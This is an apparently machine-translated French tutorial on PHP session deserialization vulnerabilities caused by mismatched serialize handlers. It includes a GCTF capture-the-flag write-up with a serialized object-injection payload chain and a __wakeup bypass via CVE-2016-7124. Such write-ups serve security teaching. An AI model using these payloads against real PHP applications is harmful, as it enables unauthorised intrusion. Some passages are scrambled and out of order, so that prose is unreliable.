


Explication détaillée de la vulnérabilité de désérialisation de session PHP
Cet article présente principalement la vulnérabilité de désérialisation de session de PHP. Les amis dans le besoin peuvent s'y référer. J'espère que cela aide tout le monde.
Il y a trois éléments de configuration dans php.ini :
session.save_path="" --设置session的存储路径 session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式) session.auto_start boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动 session.serialize_handler string --定义用来序列化/反序列化的处理器名字。默认使用php
Les options ci-dessus sont liées au stockage de session et au stockage de séquences en PHP.
Dans l'installation utilisant le composant xampp, les éléments de configuration ci-dessus sont définis comme suit :
session.save_path="D:\xampp\tmp" 表明所有的session文件都是存储在xampp/tmp下 session.save_handler=files 表明session是以文件的方式来进行存储的 session.auto_start=0 表明默认不启动session session.serialize_handler=php 表明session的默认序列话引擎使用的是php序列话引擎
Dans la configuration ci-dessus, session.serialize_handler est utilisé pour définir le moteur de sérialisation de la session In. En plus du moteur PHP par défaut, il existe d'autres moteurs, et les méthodes de stockage de session correspondant aux différents moteurs sont différentes.
php_binary : La méthode de stockage est, le caractère ASCII correspondant à la longueur du nom de la clé + le nom de la clé + la valeur sérialisée par la fonction serialize()
php : Le stockage La méthode est, nom de la clé + barre verticale + valeur sérialisée par la fonction Serialize()
php_serialize (php>5.5.4) : La méthode de stockage est, valeur sérialisée par la fonction Serialize()
Le moteur PHP est utilisé par défaut en PHP. Si vous souhaitez le changer pour un autre moteur, il vous suffit d'ajouter le code ini_set('session.serialize_handler', 'Le moteur qui doit être paramétré. ');. L'exemple de code est le suivant :
Le répertoire de la session se trouve dans /var/lib/php/sessions
<?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); $_SESSION['name'] = 'spoock'; var_dump($_SESSION);
Sous le moteur php_serialize, les données stockées dans le fichier de session sont :
a:1:{s:4:"name";s:6:"spoock";}
Le contenu du fichier sous le moteur php est :
name|s:6:"spoock";
php_binary Le contenu du fichier sous le moteur est :
names:6:"spoock";
Depuis le la longueur du nom est 4, 4 correspond à la table ASCII C'est EOT. Selon les règles de stockage de php_binary, le dernier est names:6:"spoock";. (Soudain, j'ai découvert que les caractères avec une valeur ASCII de 4 ne peuvent pas être affichés sur la page Web. Veuillez vérifier vous-même le tableau ASCII)
Risques de sérialisation dans la session PHP
Il n'y a aucun problème avec l'implémentation de Session en PHP. Le préjudice est principalement causé par une mauvaise utilisation de Session par les programmeurs.
Si le moteur utilisé par PHP pour désérialiser les données $_SESSION stockées est différent du moteur utilisé pour la sérialisation, les données ne seront pas désérialisées correctement. Grâce à des paquets de données soigneusement construits, il est possible de contourner la vérification du programme ou d'exécuter certaines méthodes système. Par exemple :
$_SESSION['ryat'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}';
fichiers php tels que :
Copier après la connexion
Après l'accès, le contenu du fichier de session est le suivant :
root/var/lib/php/sessions cat sess_e07gghbkcm0etit02bkjlbhac6 a:1:{s:4:"ryat";s:30:"|O:1:"A":1:{s:1:"a";s:2:"xx";}
Mais à cette fois la simulation est sur d'autres pages Le contenu lors de l'utilisation de différents moteurs php pour lire est le suivant : (Par défaut, le moteur php est utilisé pour lire le fichier de session)
a; } } // var_dump($_SESSION);
Lors de l'accès à cette page, la sortie xx
xxarray(1) { ["a:1:{s:4:"ryat";s:30:""]=> object(A)#1 (1) { ["a"]=> string(2) "xx" } }
En effet, lors de l'utilisation du moteur php, le moteur php utilisera | comme séparateur entre la clé et la valeur, puis a:1:{s:4:"ryat"; s:30:" sera utilisé comme clé SESSION, et O: 1:"A":1:{s:1:"a";s:2:"xx";} comme valeur, puis désérialisé, et enfin, vous obtiendrez la classe A
. La raison de la vulnérabilité de sérialisation de session PHP est que les différents moteurs utilisés pour la sérialisation et la désérialisation provoquent le déclenchement de la vulnérabilité lorsque la session lit le contenu de la session et le désérialise. lors du chargement d'une page à l'aide du moteur PHP Aucune sortie n'est requise
Analyse d'une vulnérabilité de désérialisation de session sur GCTF :
Le contenu dans l'index. .php est :
<?php //error_reporting(E_ERROR & ~E_NOTICE); ini_set('session.serialize_handler', 'php_serialize'); header("content-type;text/html;charset=utf-8"); session_start(); if(isset($_GET['src'])){ $_SESSION['src'] = $_GET['src']; highlight_file(__FILE__); print_r($_SESSION['src']); } ?> <!DOCTYPE HTML> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>代码审计2</title> </head> <body>
En PHP, les opérations de sérialisation sont souvent utilisées pour accéder aux données, mais une mauvaise manipulation pendant le processus de sérialisation peut entraîner certains risques de sécurité
<form action="./query.php" method="POST"> <input type="text" name="ticket" /> <input type="submit" /> </form> <a href="./?src=1">查看源码</a> </body> </html>
query.php. . Le contenu de
;/************************/ /* //query.php 部分代码 session_start(); header('Look me: edit by vim ~0~') //...... class TOPA{ public $token; public $ticket; public $username; public $password; function login(){ //if($this->username == $USERNAME && $this->password == $PASSWORD){ //抱歉 $this->username =='aaaaaaaaaaaaaaaaa' && $this->password == 'bbbbbbbbbbbbbbbbbb'){ return 'key is:{'.$this->token.'}'; } } } class TOPB{ public $obj; public $attr; function __construct(){ $this->attr = null; $this->obj = null; } function __toString(){ $this->obj = unserialize($this->attr); $this->obj->token = $FLAG; if($this->obj->token === $this->obj->ticket){ return (string)$this->obj; } } } class TOPC{ public $obj; public $attr; function __wakeup(){ $this->attr = null; $this->obj = null; } function __destruct(){ echo $this->attr; } } */
Attribuez attr à l'objet TOPB, et la méthode magique __tostring sera automatiquement appelée lors de l'écho de appellera dans __tostring. , car plus tard, le Token et le ticket sont utilisés, il s'agit donc évidemment d'un objet TOPA. Le jugement ultérieur nécessite
, donc l'utilisation de pendant la sérialisation peut contourner le jugement. Un indicateur sera généré et la connexion sera écrite en arrière-plan. peut être __tostring. echo $this->attr;
Il y aura une fonction __wakeup() dans la chaîne désérialisée pour effacer les paramètres. Je me demande si elle peut être contournée via une cve : CVE-2016-7124. dans Object à une valeur supérieure au champ réel peut contourner la fonction de réveil
unserialize($this->attr)
$this->obj->token === $this->obj->ticket
La charge utile finale est : $a->ticket = &$a->token;
<🎜. >
Recommandations associées : (string)$this->obj
Explication détaillée de l'ajout, de la suppression, de la modification et de la vérification des fichiers XML par PHP
$testa = new TOPA(); $testc = new TOPC(); $testb = new TOPB(); $testa->username = 0; $testa->password = 0; $testa->ticket = &$testa->token; $sa = serialize($testa); $testc->attr = $testb; $testb->attr = $sa; $test = serialize($testc); echo $test;
|O:4:"TOPC":3:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:84:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";i:0;s:8:"password";i:0;}";}}
Explication détaillée de la façon d'importer des fichiers csv dans la base de données avec PHP
Explication détaillée de la façon dont PHP affiche les données d'image hexadécimales sur la page Web
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Outils d'IA chauds

Undresser.AI Undress
Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover
Outil d'IA en ligne pour supprimer les vêtements des photos.

Undress AI Tool
Images de déshabillage gratuites

Clothoff.io
Dissolvant de vêtements AI

Video Face Swap
Échangez les visages dans n'importe quelle vidéo sans effort grâce à notre outil d'échange de visage AI entièrement gratuit !

Article chaud

Outils chauds

Bloc-notes++7.3.1
Éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise
Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1
Puissant environnement de développement intégré PHP

Dreamweaver CS6
Outils de développement Web visuel

SublimeText3 version Mac
Logiciel d'édition de code au niveau de Dieu (SublimeText3)

PHP 8.4 apporte plusieurs nouvelles fonctionnalités, améliorations de sécurité et de performances avec une bonne quantité de dépréciations et de suppressions de fonctionnalités. Ce guide explique comment installer PHP 8.4 ou mettre à niveau vers PHP 8.4 sur Ubuntu, Debian ou leurs dérivés. Bien qu'il soit possible de compiler PHP à partir des sources, son installation à partir d'un référentiel APT comme expliqué ci-dessous est souvent plus rapide et plus sécurisée car ces référentiels fourniront les dernières corrections de bogues et mises à jour de sécurité à l'avenir.

Si vous êtes un développeur PHP expérimenté, vous aurez peut-être le sentiment d'y être déjà allé et de l'avoir déjà fait. Vous avez développé un nombre important d'applications, débogué des millions de lignes de code et peaufiné de nombreux scripts pour réaliser des opérations.

Visual Studio Code, également connu sous le nom de VS Code, est un éditeur de code source gratuit – ou environnement de développement intégré (IDE) – disponible pour tous les principaux systèmes d'exploitation. Avec une large collection d'extensions pour de nombreux langages de programmation, VS Code peut être c

JWT est une norme ouverte basée sur JSON, utilisée pour transmettre en toute sécurité des informations entre les parties, principalement pour l'authentification de l'identité et l'échange d'informations. 1. JWT se compose de trois parties: en-tête, charge utile et signature. 2. Le principe de travail de JWT comprend trois étapes: la génération de JWT, la vérification de la charge utile JWT et l'analyse. 3. Lorsque vous utilisez JWT pour l'authentification en PHP, JWT peut être généré et vérifié, et les informations sur le rôle et l'autorisation des utilisateurs peuvent être incluses dans l'utilisation avancée. 4. Les erreurs courantes incluent une défaillance de vérification de signature, l'expiration des jetons et la charge utile surdimensionnée. Les compétences de débogage incluent l'utilisation des outils de débogage et de l'exploitation forestière. 5. L'optimisation des performances et les meilleures pratiques incluent l'utilisation des algorithmes de signature appropriés, la définition des périodes de validité raisonnablement,

Ce tutoriel montre comment traiter efficacement les documents XML à l'aide de PHP. XML (Language de balisage extensible) est un langage de balisage basé sur le texte polyvalent conçu à la fois pour la lisibilité humaine et l'analyse de la machine. Il est couramment utilisé pour le stockage de données et

Une chaîne est une séquence de caractères, y compris des lettres, des nombres et des symboles. Ce tutoriel apprendra à calculer le nombre de voyelles dans une chaîne donnée en PHP en utilisant différentes méthodes. Les voyelles en anglais sont a, e, i, o, u, et elles peuvent être en majuscules ou en minuscules. Qu'est-ce qu'une voyelle? Les voyelles sont des caractères alphabétiques qui représentent une prononciation spécifique. Il y a cinq voyelles en anglais, y compris les majuscules et les minuscules: a, e, i, o, u Exemple 1 Entrée: String = "TutorialSpoint" Sortie: 6 expliquer Les voyelles dans la chaîne "TutorialSpoint" sont u, o, i, a, o, i. Il y a 6 yuans au total

Liaison statique (statique: :) implémente la liaison statique tardive (LSB) dans PHP, permettant à des classes d'appel d'être référencées dans des contextes statiques plutôt que de définir des classes. 1) Le processus d'analyse est effectué au moment de l'exécution, 2) Recherchez la classe d'appel dans la relation de succession, 3) il peut apporter des frais généraux de performance.

Quelles sont les méthodes magiques de PHP? Les méthodes magiques de PHP incluent: 1. \ _ \ _ Construct, utilisé pour initialiser les objets; 2. \ _ \ _ Destruct, utilisé pour nettoyer les ressources; 3. \ _ \ _ Appel, gérer les appels de méthode inexistants; 4. \ _ \ _ GET, Implémentez l'accès à l'attribut dynamique; 5. \ _ \ _ SET, Implémentez les paramètres d'attribut dynamique. Ces méthodes sont automatiquement appelées dans certaines situations, améliorant la flexibilité et l'efficacité du code.
